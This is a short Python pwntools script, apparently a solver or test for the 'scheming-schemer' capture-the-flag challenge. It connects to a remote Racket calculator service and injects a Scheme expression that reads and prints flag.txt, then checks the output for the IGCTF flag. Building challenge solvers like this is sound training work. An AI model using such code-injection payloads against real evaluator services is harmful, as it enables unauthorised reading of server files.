write-ups-challenges-2020-2021/scheming-schemer/test_script/test-third.py
2022-11-24 18:03:20 +01:00

24 lines
583 B
Python

from pwn import *
import sys
import re
# Arg1: IP, Arg2: Port
#io = process(['racket ../calculator-app.rkt'])
try:
io = remote(sys.argv[1], sys.argv[2])
except:
print("Challenge not available")
exit(1)
print(io.recv(3))
io.sendline('((lambda () (call-with-input-file "flag.txt" (lambda (input-port) (let loop ((x (read-char input-port))) (if (not (eof-object? x)) (begin (display x) (loop (read-char input-port)))))))))')
res = io.recvline()
print(res)
if re.findall('IGCTF', str(res)):
print("Found flag")
exit(0)
else:
print("No flag found")
exit(1)